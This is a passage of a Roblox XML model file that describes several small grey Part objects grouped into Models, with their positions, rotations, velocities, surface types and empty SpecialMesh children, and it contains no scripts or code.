						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-22.3852272</X>
							<Y>13.4433088</Y>
							<Z>9.92458725</Z>
							<R00>-0.826680541</R00>
							<R01>0.551157296</R01>
							<R02>-0.113247238</R02>
							<R10>0.558058858</R10>
							<R11>0.777406693</R11>
							<R12>-0.290188104</R12>
							<R20>-0.0719001293</R20>
							<R21>-0.303091496</R21>
							<R22>-0.950245202</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.299065888</X>
							<Y>5.66223764</Y>
							<Z>-3.90534902</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.76093388</X>
							<Y>-3.5269227</Y>
							<Z>-5.96687031</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX1996">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX1997</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1997">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.1917171</X>
								<Y>9.53681278</Y>
								<Z>14.9328136</Z>
								<R00>0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>6.49259615</X>
								<Y>6.94235611</Y>
								<Z>2.76425314</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1998">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1999">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.6791019</X>
								<Y>9.54189301</Y>
								<Z>14.0596409</Z>
								<R00>0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>3.91614628</X>
								<Y>6.89769459</Y>
								<Z>4.20210791</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2000">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2001">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-24.2302933</X>
								<Y>8.76452923</Y>
								<Z>14.3627806</Z>
								<R00>0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>2.60245204</X>
								<Y>8.96419525</Y>
								<Z>7.11273336</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2002">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2003">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2004</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2004">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-22.3853359</X>
								<Y>9.99497128</Y>
								<Z>10.9776611</Z>
								<R00>-0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-4.74327326</X>
								<Y>-3.84143615</Y>
								<Z>-6.99753571</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2005">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2006">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.2120171</X>
								<Y>10.55303</Y>
								<Z>10.9057608</Z>
								<R00>-0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-2.97097588</X>
								<Y>-0.591454864</Y>
								<Z>-2.14977431</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2007">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2008">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.7631741</X>
								<Y>9.77562332</Y>
								<Z>11.2088518</Z>
								<R00>-0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-4.29084682</X>
								<Y>1.47036135</Y>
								<Z>0.738511801</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2009">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2010">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2011</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2011">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-24.5897465</X>
								<Y>13.7820196</Y>
								<Z>10.0838776</Z>
								<R00>-0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>4.98565769</X>
								<Y>5.03485632</Y>
								<Z>6.61693859</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2012">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2013">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.7630653</X>
								<Y>13.2239609</Y>
								<Z>10.1557779</Z>
								<R00>-0.113247238</R00>
								<R01>-0.551157296</R01>
								<R02>-0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>-0.777406693</R11>
								<R12>0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>0.303091496</R21>
								<R22>-0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>3.21336031</X>
								<Y>1.7848748</Y>
								<Z>1.7691772</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2014">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2015">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.2119083</X>
								<Y>14.0013676</Y>
								<Z>9.85268688</Z>
								<R00>-0.113247238</R00>
								<R01>0.551157296</R01>
								<R02>0.826680541</R02>
								<R10>-0.290188104</R10>
								<R11>0.777406693</R11>
								<R12>-0.558058858</R12>
								<R20>-0.950245202</R20>
								<R21>-0.303091496</R21>
								<R22>0.0719001293</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.299065888</X>
								<Y>5.66223764</Y>
								<Z>-3.90534902</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>4.53323126</X>
								<Y>-0.276941389</Y>
								<Z>-1.11910892</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2016">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2017">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2018</Ref>
						<bool name="archivable">true</bool>
